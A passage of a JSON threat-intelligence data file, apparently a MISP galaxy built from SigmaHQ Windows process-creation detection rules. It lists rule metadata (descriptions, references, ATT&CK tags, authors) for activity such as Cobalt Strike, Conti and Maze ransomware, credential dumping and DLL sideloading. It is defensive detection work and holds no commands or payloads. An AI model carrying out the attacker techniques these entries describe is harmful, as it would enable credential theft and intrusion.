"https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/05/06", + "filename": "proc_creation_win_cobaltstrike_bloopers_cmd.yml", + "author": "_pete_0, TheDFIRReport", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of Cobalt Strike module commands accidentally entered in the CMD shell", + "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48", + "value": "Operator Bloopers Cobalt Strike Modules", + "meta": { + "refs": [ + "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_modules.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/05/06", + "filename": "proc_creation_win_cobaltstrike_bloopers_modules.yml", + "author": "_pete_0, TheDFIRReport", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", + "uuid": "ae9c6a7c-9521-42a6-915e-5aaa8689d529", + "value": "CobaltStrike Load by Rundll32", + "meta": { + "refs": [ + "https://www.cobaltstrike.com/help-windows-executable", + "https://redcanary.com/threat-detection-report/", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2021/06/01", + "filename": "proc_creation_win_cobaltstrike_load_by_rundll32.yml", + "author": "Wojciech Lesicki", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process patterns found in Cobalt Strike beacon activity (see reference for more details) and also cases in which a China Chopper like webshell is used to run whoami", + "uuid": "f35c5d71-b489-4e22-a115-f003df287317", + "value": "CobaltStrike Process Patterns", + "meta": { + "refs": [ + "https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/", + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_process_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2021/07/27", + "filename": "proc_creation_win_cobaltstrike_process_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other programs that cause these patterns (please report)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "detects the usage of path traversal in cmd.exe indicating possible command/argument confusion/hijacking", + "uuid": "087790e3-3287-436c-bccf-cbd0184a7db1", + "value": "Cmd.exe CommandLine Path Traversal", + "meta": { + "refs": [ + "https://hackingiscool.pl/cmdhijack-command-argument-confusion-with-path-traversal-in-cmd-exe/", + "https://twitter.com/Oddvarmoe/status/1270633613449723905", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2020/06/11", + "filename": "proc_creation_win_commandline_path_traversal.yml", + "author": "xknow @xknow_infosec, Tim Shelton", + "level": "high", + "falsepositive": [ + "(not much) some benign Java tools may product false-positive commandlines for loading libraries" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the attempt to evade or obfuscate the executed command on the CommandLine using bogus path traversal", + "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b", + "value": "Command Line Path Traversal Evasion", + "meta": { + "refs": [ + "https://twitter.com/hexacorn/status/1448037865435320323", + "https://twitter.com/Gal_B1t/status/1062971006078345217", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_commandline_path_traversal_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2021/10/26", + "filename": "proc_creation_win_commandline_path_traversal_evasion.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Google Drive", + "Citrix" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file", + "uuid": "435e10e4-992a-4281-96f3-38b11106adde", + "value": "Computer Discovery And Export Via Get-ADComputer Cmdlet", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_computer_discovery_get_adcomputer.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/11/10", + "filename": "proc_creation_win_computer_discovery_get_adcomputer.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", + "uuid": "ee5e119b-1f75-4b34-add8-3be976961e39", + "value": "Conhost.exe CommandLine Path Traversal", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_path_traversal.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/06/14", + "filename": "proc_creation_win_conhost_path_traversal.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Conti ransomware command line ioc", + "uuid": "689308fc-cfba-4f72-9897-796c1dc61487", + "value": "Conti Ransomware Execution", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/", + "https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_cmd_ransomware.yml" + ], + "tags": [ + "attack.impact", + "attack.s0575", + "attack.t1486" + ], + "creation_date": "2021/10/12", + "filename": "proc_creation_win_conti_cmd_ransomware.yml", + "author": "frack113", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a command used by conti to dump database", + "uuid": "2f47f1fd-0901-466e-a770-3b7092834a1b", + "value": "Conti Backup Database", + "meta": { + "refs": [ + "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conti_sqlcmd.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2021/08/16", + "filename": "proc_creation_win_conti_sqlcmd.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the malicious use of a control panel item", + "uuid": "0ba863e6-def5-4e50-9cea-4dd8c7dc46a4", + "value": "Control Panel Items", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1196/", + "https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218.002", + "attack.persistence", + "attack.t1546" + ], + "creation_date": "2020/06/22", + "filename": "proc_creation_win_control_panel_item.yml", + "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Files with well-known filenames (sensitive files with credential data) copying", + "uuid": "e7be6119-fc37-43f0-ad4f-1f3f99be2f9f", + "value": "Copying Sensitive Files with Credential Data", + "meta": { + "refs": [ + "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copying_sensitive_files_with_credential_data.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003", + "car.2013-07-001", + "attack.s0404" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_copying_sensitive_files_with_credential_data.yml", + "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the copy command to copy files with the .dmp extensions from a remote share", + "uuid": "044ba588-dff4-4918-9808-3f95e8160606", + "value": "Copy DMP Files From Share", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_copy_dmp_from_share.yml" + ], + "tags": [ + "attack.credential_access" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_copy_dmp_from_share.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious process patterns found in logs when CrackMapExec is used", + "uuid": "f26307d8-14cd-47e3-a26b-4b4769f24af6", + "value": "CrackMapExec Process Patterns", + "meta": { + "refs": [ + "https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crackmapexec_patterns.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/03/12", + "filename": "proc_creation_win_crackmapexec_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects process injection using the signed Windows tool \"Mavinject\" via the \"INJECTRUNNING\" flag or a renamed execution of the tool", + "uuid": "4f73421b-5a0b-4bbf-a892-5a7fb99bea66", + "value": "Mavinject Inject DLL Into Running Process", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md", + "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", + "https://twitter.com/gN3mes1s/status/941315826107510784", + "https://reaqta.com/2017/12/mavinject-microsoft-injector/", + "https://twitter.com/Hexacorn/status/776122138063409152", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creation_mavinject_process_injection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055.001", + "attack.t1218.013" + ], + "creation_date": "2021/07/12", + "filename": "proc_creation_win_creation_mavinject_process_injection.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud", + "uuid": "df1f26d3-bea7-4700-9ea2-ad3e990cf90e", + "value": "Node Process Executions", + "meta": { + "refs": [ + "https://twitter.com/mttaggart/status/1511804863293784064", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_creative_cloud_node_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127", + "attack.t1059.007" + ], + "creation_date": "2022/04/06", + "filename": "proc_creation_win_creative_cloud_node_abuse.yml", + "author": "Max Altgelt", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS", + "uuid": "b7966f4a-b333-455b-8370-8ca53c229762", + "value": "Dropping Of Password Filter DLL", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/02/10/credential-access-password-filter-dll/", + "https://github.com/3gstudent/PasswordFilter/tree/master/PasswordFilter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_access_via_password_filter.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1556.002" + ], + "creation_date": "2020/10/29", + "filename": "proc_creation_win_credential_access_via_password_filter.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Credential Acquisition via Registry Hive Dumping", + "uuid": "4d6c9da1-318b-4edf-bcea-b6c93fa98fd0", + "value": "Credential Acquisition via Registry Hive Dumping", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_credential_acquisition_registry_hive_dumping.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/10/04", + "filename": "proc_creation_win_credential_acquisition_registry_hive_dumping.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Archer malware invocation via rundll32", + "uuid": "3d4aebe0-6d29-45b2-a8a4-3dfde586a26d", + "value": "Fireball Archer Install", + "meta": { + "refs": [ + "https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/", + "https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_fireball.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2017/06/03", + "filename": "proc_creation_win_crime_fireball.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Maze ransomware word document droppers", + "uuid": "29fd07fc-9cfd-4331-b7fd-cc18dfa21052", + "value": "Maze Ransomware", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/", + "https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_maze_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1047", + "attack.impact", + "attack.t1490" + ], + "creation_date": "2020/05/08", + "filename": "proc_creation_win_crime_maze_ransomware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process characteristics of Snatch ransomware word document droppers", + "uuid": "5325945e-f1f0-406e-97b8-65104d393fff", + "value": "Snatch Ransomware", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crime_snatch_ransomware.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2020/08/26", + "filename": "proc_creation_win_crime_snatch_ransomware.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Scripts that shutdown the system immediately and reboot them in safe mode are unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects command line parameters or strings often used by crypto miners", + "uuid": "66c3b204-9f88-4d0a-a7f7-8a57d521ca55", + "value": "Windows Crypto Mining Indicators", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_crypto_mining_monero.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496" + ], + "creation_date": "2021/10/26", + "filename": "proc_creation_win_crypto_mining_monero.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners", + "Some build frameworks" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a curl process start on Windows, which indicates a file download from a remote location or a simple web request to a remote server", + "uuid": "bbeaed61-1990-4773-bf57-b81dbad7db2d", + "value": "Curl Usage on Windows", + "meta": { + "refs": [ + "https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/07/05", + "filename": "proc_creation_win_curl_download.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for | abnormal subprocesses spawning by Exchange Server's Unified Messaging service", + "uuid": "cd479ccc-d8f0-4c66-ba7d-e06286f3f887", + "value": "CVE-2021-26857 Exchange Exploitation", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cve_2021_26857_msexchange.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution", + "cve.2021.26857" + ], + "creation_date": "2021/03/03", + "filename": "proc_creation_win_cve_2021_26857_msexchange.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "uuid": "6f3e2987-db24-4c78-a860-b4f4095a7095", + "value": "Data Compressed - rar.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_data_compressed_with_rar.yml" + ], + "tags": [ + "attack.collection", + "attack.t1560.001" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_data_compressed_with_rar.yml", + "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community", + "level": "low", + "falsepositive": [ + "Highly likely if rar is a default archiver in the monitored environment." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", + "uuid": "89f75308-5b1b-4390-b2d8-d6b2340efaf8", + "value": "Wbadmin Delete Systemstatebackup", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_delete_systemstatebackup.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/12/13", + "filename": "proc_creation_win_delete_systemstatebackup.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.HxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\". Its path includes a version number, e.g., \"C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_17.7466.41167.0_x64__8wekyb3d8bbwe\\HxTsr.exe\". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe", + "uuid": "4e762605-34a8-406d-b72e-c1a089313320", + "value": "Detecting Fake Instances Of Hxtsr.exe", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_detecting_fake_instances_of_hxtsr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2020/04/17", + "filename": "proc_creation_win_detecting_fake_instances_of_hxtsr.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that doesnt exist. This non-existent DLL file is named \"ShellChromeAPI.dll\". \nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", + "uuid": "e173ad47-4388-4012-ae62-bd13f71c18a8", + "value": "DLL Sideloading via DeviceEnroller.exe", + "meta": { + "refs": [ + "https://mobile.twitter.com/0gtweet/status/1564131230941122561", + "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/29", + "filename": "proc_creation_win_deviceenroller_evasion.yml", + "author": "@gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", + "uuid": "d78b5d61-187d-44b6-bf02-93486a80de5a", + "value": "DInject PowerShell Cradle CommandLine Flags", + "meta": { + "refs": [ + "https://github.com/snovvcrash/DInjector", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dinjector.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2021/12/07", + "filename": "proc_creation_win_dinjector.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of DirLister.exe", + "uuid": "b4dc61f5-6cce-468e-a608-b48b469feaa2", + "value": "Launch DirLister Executable", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_dirlister.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when attackers use \"sc.exe\" or the powershell \"Set-Service\" cmdlet to change the startup type of a service to \"disabled\"", + "uuid": "85c312b7-f44d-4a51-a024-d671c40b49fc", + "value": "Sc Or Set-Service Cmdlet Execution to Disable Services", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_disable_service.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_disable_service.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrators settings a service to disable via script or cli for testing purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credential", + "uuid": "213d6a77-3d55-4ce8-ba74-fcfef741974e", + "value": "Discover Private Keys", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.004/T1552.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_discover_private_keys.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2021/07/20", + "filename": "proc_creation_win_discover_private_keys.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of Microsoft Defender's CLI process (MpCmdRun.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "7002aa10-b8d4-47ae-b5ba-51ab07e228b9", + "value": "DLL Sideloading by Microsoft Defender", + "meta": { + "refs": [ + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_dll_sideload_defender.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "ebea773c-a8f1-42ad-a856-00cb221966e8", + "value": "DLL Sideloading by VMware Xfer Utility", + "meta": { + "refs": [ + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "proc_creation_win_dll_sideload_vmware_xfer.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.", + "uuid": "b11d75d6-d7c1-11ea-87d0-0242ac130003", + "value": "DNSCat2 Powershell Implementation Detection Via Process Creation", + "meta": { + "refs": [ + "https://github.com/lukebaggett/dnscat2-powershell", + "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html", + "https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071", + "attack.t1071.004", + "attack.t1001.003", + "attack.t1041" + ], + "creation_date": "2020/08/08", + "filename": "proc_creation_win_dnscat2_powershell_implementation.yml", + "author": "Cian Heasley", + "level": "high", + "falsepositive": [ + "Other powershell scripts that call nslookup.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an attempt to add a potentially crafted DLL as a plug in of the DNS Service.\nDetects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain.\nDNS zones used to host the DNS records for a particular domain\n", + "uuid": "b6457d63-d2a2-4e29-859d-4e7affc153d1", + "value": "Discovery/Execution via dnscmd.exe", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", + "https://docs.microsoft.com/en-us/azure/dns/dns-zones-records", + "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1543.003" + ], + "creation_date": "2022/07/31", + "filename": "proc_creation_win_dnscmd_discovery.yml", + "author": "@gott_cyber", + "level": "medium", + 